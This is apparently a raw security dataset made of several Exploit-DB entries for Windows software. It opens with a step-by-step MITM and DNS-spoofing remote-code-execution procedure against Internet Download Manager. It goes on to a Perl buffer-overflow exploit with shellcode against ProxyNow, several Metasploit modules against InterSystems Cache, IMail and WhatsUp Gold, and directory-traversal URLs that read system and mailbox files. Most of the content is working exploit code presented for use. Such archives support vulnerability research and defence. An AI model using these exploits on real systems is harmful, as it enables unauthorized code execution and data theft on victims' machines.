deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51131
Description: Internet Download Manager v6.41 Build 3 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2023-03-29
Author: M. Akil Gündoğan

Exploit:
# Exploit Title: Internet Download Manager v6.41 Build 3 - Remote Code Execution (RCE)
# Date: 15.11.2022
# Exploit Author: M. Akil Gündoğan 
# Contact: https://twitter.com/akilgundogan
# Vendor Homepage: https://www.internetdownloadmanager.com/
# Software Link: https://mirror2.internetdownloadmanager.com/idman641build3.exe?v=lt&filename=idman641build3.exe
# Version: v.6.41 Build 3
# Tested on: Windows 10 Professional x64
# PoC Video: https://youtu.be/0djlanUbfY4

Vulnerabiliy Description: 
---------------------------------------
Some help files are missing in non-English versions of Internet Download Manager. Help files with the extension 
".chm" prepared in the language used are downloaded from the internet and run, and displayed to users. This download is 
done over HTTP, which is an insecure protocol. An attacker on the local network can spoof traffic with a MITM attack and 
replaces ".chm" help files with malicious ".chm" files. IDM runs ".chm" files automatically after downloading. 
This allows the attacker to execute code remotely. 

It also uses HTTP for checking and downloading updates by IDM. The attacker can send fake updates as if the victim has a new update to the system.

Since we preferred to use Turkish IDM, our target address in the MITM attack was "http://www.internetdownloadmanager.com/languages/tut_tr.chm".

Requirements: 
---------------------------------------
The attacker and the victim must be on the same local network.
The victim using the computer must have a user account with administrative privileges on the system. The attacker does not need to have administrator privileges!

Step by step produce:
---------------------------------------
1 - The attacker prepares a malicious CHM file. You can read the article at "https://sevenlayers.com/index.php/316-malicious-chm" for that.
2 - A MITM attack is made against the target using Ettercap or Bettercap.
3 - Let's redirect the domains "internetdownloadmanager.com" and "*.internetdownloadmanager.com" to our attacker machine with DNS spoofing.
4 - A web server is run on the attacking machine and the languages directory is created and the malicious ".chm" file with the 
    same name (tut_tr.chm / the file according to which language you are using.) is placed in it.
5 - When the victim opens Internet Download Manager and clicks on the "Tutorials" button, the download will start and our malicious ".chm" file will run automatically when it's finished.

Advisories:
---------------------------------------
Developers should stop using insecure HTTP in their update and download modules. In addition, every downloaded file 
should not be run automatically, additional warning messages should be displayed for users.

Special thanks: p4rs, ratio, blackcode, zeyd.can and all friends. 
---------------------------------------
Exploit-DB #20934
Description: Internet Software Solutions Air Messenger LAN Server 3.4.2 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2001-06-18
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/2881/info

Air Messenger LAN Server for Microsoft Windows allows users to exchange phone, pager and email messages through a Web gateway.

The path to sensitive files used by AMLServer can be easily obtained by any remote user, simply by examining the webserver's http-header 'Location' field.

$ telnet target 80|grep Location

Location: http://C:\PROGRA~1\ISS\AIRMES~1\Messages
Connection closed by foreign host.
Exploit-DB #23608
Description: InternetNow ProxyNow 2.6/2.75 - Multiple Stack / Heap Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2004-01-26
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9500/info

ProxyNow has been reported to be prone to multiple overflow vulnerabilities that may allow an attacker to execute arbitrary code in order to gain unauthorized access to a vulnerable system. The vulnerabilities present themselves when an attacker sends a HTTP GET request containing an excessively long URI to the server on TCP port 3128. The URI must be prefixed with the string 'ftp://'.

ProxyNow versions 2.75 and prior have been reported to be prone to these issues. 

#########################################################################
#!/usr/bin/perl -w
#
# Remote Stack Overflow in ProxyNow! 2.x PoC Exploit
#
# Tested on Windows XP Home SP1
#
# Ever seen notepad.exe with SYSTEM privileges? :-/
#
#  - by Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[1]))
{
print "Usage: proxynow.pl <victim> <port>\n" .
       "\tDefault port is 3128\n\n";
exit;
}

print "Remote Stack Overflow in ProxyNow! PoC - Executes notepad.exe\n" .
      "Notepad.exe will only be visible from the Task Manager!\n\n";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on" .
                                   "port $ARGV[1]";

$nops      =            "\x90\x90\x90\x90";

$subcode   =            "\x89\xE0\x05\x03\xFF\xFF\xFF\xFF" .
                        "\xE0";

$shellcode =            "\x31\xC9\x51\x68\x65\x70\x61\x64" .
                        "\x68\xFF\x6E\x6F\x74\x8D\x44\x24" .
                        "\x01\x50\xB8\x44\x80\xC2\x77\xFF" .
                        "\xD0\xCC";

$pad = "XXXXXXXX";

$ebp = "BBBB";
$eip = "\x3B\x58\x01\x10";


$bad    = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 .
          $ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n";

print $victim $bad;

print "[+] Data sent: Check for notepad.exe running as SYSTEM!\n";

sleep(2);

close($victim);

print "[+] Done!\n";
exit;
#########################################################################
Exploit-DB #16807
Description: InterSystems Cache - UtilConfigHome.csp Argument Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-12
Author: Metasploit

Exploit:
##
# $Id: intersystems_cache.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
				By sending a specially crafted GET request, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9797 $',
			'References'     =>
				[
					[ 'OSVDB', '60549' ],
					[ 'BID', '37177' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 29 2009')) # Initially...!

		register_options( [ Opt::RPORT(57772) ], self.class )
	end

	def exploit
		# offset to the seh frame.
		sploit =   payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
		# jmp $+6 | p/p/r
		sploit <<  Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		# fall into some nops, jmp back to our final payload.
		sploit <<  make_nops(8) + [0xe9, -700].pack('CV')
		# cause the av!
		sploit <<  rand_text_alpha_upper(payload.encoded.length)

		print_status("Trying target #{target.name}...")

		send_request_raw({
				'uri'          => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
				'method'       => 'GET',
			}, 5)

		handler
	end
end
Exploit-DB #28374
Description: IPCheck Server Monitor 5.x - Directory Traversal
Type: remote
Platform: windows
Date: 2006-08-10
Author: Tassi Raeburn

Exploit:
source: https://www.securityfocus.com/bid/19473/info

IPCheck Server Monitor is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

IPCheck Server Monitor 5.3.2.609 is vulnerable; other versions may also be affected.

http://www.example.com:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini http://www.example.com/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini http://www.example.com/images../..../..../..../..../..../..../..../..../..../..../..../boot.ini http://www.example.com/images/..%255c../..%255c../..%255c../..%255c../boot.ini
Exploit-DB #20324
Description: iPlanet Certificate Management System 4.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2000-10-25
Author: CORE-SDI

Exploit:
source: https://www.securityfocus.com/bid/1839/info


Acquiring access to known files outside of the web root is possible through directory traversal techniques in both iPlanet Certificate Management System (CMS). This is made possible through the use of "\../" in a HTTP request. The following services are affected by this vulnerability:

- The Agent services server on port 8100/tcp
- The End Entity services server on port 443/tcp (Accessible through SSL)
- The Administrator services server on a random port configured during installation.

https://target/ca/\../\../\../\file.ext
Exploit-DB #20182
Description: Ipswitch IMail 6.x - File Attachment
Type: remote
Platform: windows
Date: 2000-08-30
Author: Timescape

Exploit:
source: https://www.securityfocus.com/bid/1617/info

IPSWITCH ships a product titled IMail, an email server for usage on NT servers serving clients their mail via a web interface. To this end the IMail server provides a web server typically running on port 8383 for it's end users to access. Via this interface users may read and send mail, as well as mail with file attachments. Certain versions of IMail do not perform proper access validation however resulting in users being able to attach files resident on the server. The net result of this is users may attach files on the server to which they should have no access. This access is limited to the user privileges which the server is being run as, typically SYSTEM.

It should be noted that once a user attachs the files in question the server deletes them.

Here is a sample mail header sent by IMAIL web services which
has an attachment. Please note that this is line wrapped for readability.

Date: Tue, 11 Jul 2000 13:10:28 +0200
Message-ID: <[PII_REDACTED]10.AA[PII_REDACTED]@bar.com>
MIME-Version: 1.0 Content-Type: multipart/mixed; 
boundary="==IMail_v5.0==" 
From: "Timescape" <foo@bar.com>
Reply-To: <foo@bar.com> 
To: <foo@bar.com>
Subject: test
X-Mailer: <IMail v5.01> 
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 
Return-Path: <foo@bar.com> 
X-OriginalArrivalTime: 11 Jul 2000 11:20:48.0256 (UTC) FILETIME=[10327800:01BFEB2A]

This is a multi-part message in MIME format.

--==IMail_v5.0==
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

--==IMail_v5.0==
Content-Type: application/octet-stream;
name="gonzo2.jpg "
Content-Transfer-Encoding: base64

--==IMail_v5.0==--

The thing which we will be exploiting is the
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;

I made it work by modifing the compose message HTML file and
saved it locally. Then i can just arrange the path to the
attachment so that it can read

X-Attachments: D:\IMAIL\spool\..\bar\users\admin\main.mbx ;
Exploit-DB #16479
Description: IPSwitch IMail IMAP4D - Delete Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: imail_delete.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IMail IMAP4D Delete Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the 'DELETE'
				command of the the IMail IMAP4D service. This vulnerability
				can only be exploited with a valid username and password.
				This flaw was patched in version 8.14.
			},
			'Author'         => [ 'spoonm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-1520'],
					[ 'OSVDB', '11838'],
					[ 'BID', '11675'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC'  => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 614,
					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
					'StackAdjustment' => -3500,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EDX',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# alphanum rets :(, will look more into it later
					['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		print_status("Sending overflow string...")
		req = 'A683 DELETE '
		req << payload.encoded

		# Jump over code
		req << "\x74\x32\x75\x30"
		req << [target.ret].pack('V')
		req << rand_text_alphanumeric(44)

		# GetEIP code
		req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
		req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"

		# Alphanumeric jmp back (edx context)
		req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
		req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
		req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
		req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"

		# Run off the stack, so we don't kill our payload, or something...
		req << rand_text_alphanumeric(600)

		# Terminate the request
		req << "\r\n"

		sock.put(req)

		handler
		disconnect
	end

end
Exploit-DB #16824
Description: IPSwitch IMail LDAP Daemon/Service - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: imail_thc.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IMail LDAP Service Buffer Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the LDAP service that is
				part of the IMail product. This module was tested against
				version 7.10 and 8.5, both running on Windows 2000.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2004-0297'],
					[ 'OSVDB', '3984'],
					[ 'BID', '9682'],
					[ 'URL', 'http://secunia.com/advisories/10880/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x20",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					["Windows 2000 English",   { 'Ret' => 0x75023386 }],
					["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
				],
			'DisclosureDate' => 'Feb 17 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(389)
			], self.class)
	end

	def exploit
		connect

		buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
		buf << "\xcc" * 5000

		# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
		# Thanks for johnny cyberpunk for 6/7 vs 8 diffs

		buf[77, 4] = "\xeb\x06"
		buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
		buf[85, 4] = "\xeb\x06"
		buf[89, 4] = [target.ret].pack('V') # 8.x
		buf[93, payload.encoded.length] = payload.encoded

		sock.put(buf)

		handler
		disconnect
	end

end
Exploit-DB #16487
Description: Ipswitch IMail Server - IMAP SEARCH Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: ipswitch_search.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
				verb. By sending an overly long string, an attacker can overwrite the
				buffer and control program execution.
				In order for this module to be successful, the IMAP user must have at least one
				message.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3925' ],
					[ 'OSVDB', '36219' ],
					[ 'BID', '24962' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English',   { 'Ret' => 0x77f81be3 } ],
					[ 'Windows 2003 SP0 English',       { 'Ret' => 0x77c5cee8 } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 18 2007'))
	end

	def exploit

		sploit =  "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
		sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"

		info = connect_login

		if (info == true)
			print_status("Trying target #{target.name}...")
			sock.put("a001 SELECT INBOX\r\n")
			sock.get_once(-1, 3)
			sock.put(sploit + "\r\n")
		else
			print_status("Not falling through with exploit")
		end

		handler
		disconnect

	end
end
Exploit-DB #16787
Description: IPSwitch WhatsUp Gold 8.03 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-14
Author: Metasploit

Exploit:
##
# $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
	HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
				posting a long string for the value of 'instancename' in the _maincfgret.cgi
				script an attacker can overflow a buffer and execute arbitrary code on the system.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9820 $',
			'References'     =>
				[
					['CVE', '2004-0798'],
					['OSVDB', '9177'],
					['BID', '11043'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 25 2004'))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
				OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
			], self.class )
	end

	def exploit
		c = connect

		num = rand(65535).to_s
		user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

		req   = "page=notify&origname=&action=return&type=Beeper&instancename="
		req  << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
		req  << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
		req  << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

		print_status("Trying target %s..." % target.name)
		res = send_request_cgi({
			'uri'          => '/_maincfgret.cgi',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'data'         => req,
			'headers'      =>
			{
				'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
			}
		}, 5)

		handler
	end

end
Exploit-DB #26464
Description: IPSwitch WhatsUp Small Business 2004 Report Service - Directory Traversal
Type: remote
Platform: windows
Date: 2005-11-03
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/15291/info

IPSwitch WhatsUp Small Business 2004 is prone to a directory traversal vulnerability. Successful exploitation could allow a remote attacker to gain access to files outside the Web root. Sensitive information may be obtained in this manner. 

http://[address of server]:8022/../../../../../../../../../../../boot.ini